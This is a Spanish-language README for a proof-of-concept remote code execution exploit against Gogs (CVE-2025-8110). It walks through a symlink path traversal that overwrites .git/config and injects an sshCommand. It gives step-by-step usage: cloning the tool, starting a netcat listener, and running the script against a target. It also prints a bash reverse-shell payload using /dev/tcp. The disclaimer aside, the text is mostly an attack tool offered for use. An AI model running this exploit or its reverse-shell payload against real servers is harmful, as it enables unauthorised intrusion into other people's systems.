Gogs RCE Exploit (CVE-2025-8110)

Una prueba de concepto (PoC) para CVE-2025-8110, una vulnerabilidad crítica en Gogs que permite ejecución remota de código (RCE) mediante la manipulación de .git/config usando bypass de enlaces simbólicos e inyección de sshCommand.

📖 Descripción general

Esta explotación apunta a una falla de Path Traversal en la gestión de contenido de la API de Gogs. Un usuario autenticado puede:

1. Crear un repositorio y enviar un enlace simbólico que apunte al .git/config interno.
2. Usar la API para sobrescribir el archivo de configuración objetivo a través del enlace simbólico.
3. Inyectar un sshCommand malicioso para ejecutar una Reverse Shell cuando el servidor realice operaciones Git.

🚀 Características

• Flujo de trabajo automatizado: Maneja el inicio de sesión, la creación de repositorios, el despliegue del enlace simbólico y el envenenamiento.
• Codificación robusta: Codifica automáticamente las credenciales en URL para manejar caracteres especiales (p. ej., !, @).
• Salida enriquecida: Registro de alta visibilidad usando la librería Rich.

🛠 Requisitos previos

• Python 3.12+
• Git instalado en el sistema local.
• Credenciales válidas en la instancia de Gogs objetivo.

📦 Instalación

1. Clona el repositorio:
   root@kitploit:~

   git clone https://github.com/Ghxstsec/CVE-2025-8110.git
   cd CVE-2025-8110
   

Instala las dependencias:

pip3 install -r requirements.txt

💻 Uso

Inicia tu listener:

nc -lvnp 6666

Ejecuta el exploit:

python3 CVE-2025-8110-RCE.py -u [http://target-gogs.htb:3000](http://target-gogs.htb:3000) -lh <YOUR_IP> -lp 6666 -p 'YourPassword123!'

Argumentos:

Núcleo de la vulnerabilidad:

sshCommand = bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1' #

Cuando Gogs ejecuta un comando Git que requiere transporte de red (como una sincronización de espejo o una comprobación interna de referencias), invoca el sshCommand, activando la reverse shell.

⚠️ Aviso legal: Esta herramienta es solo para fines educativos y pruebas de seguridad autorizadas. El autor no es responsable de ningún mal uso o daño causado por este script. El acceso no autorizado a sistemas informáticos es ilegal.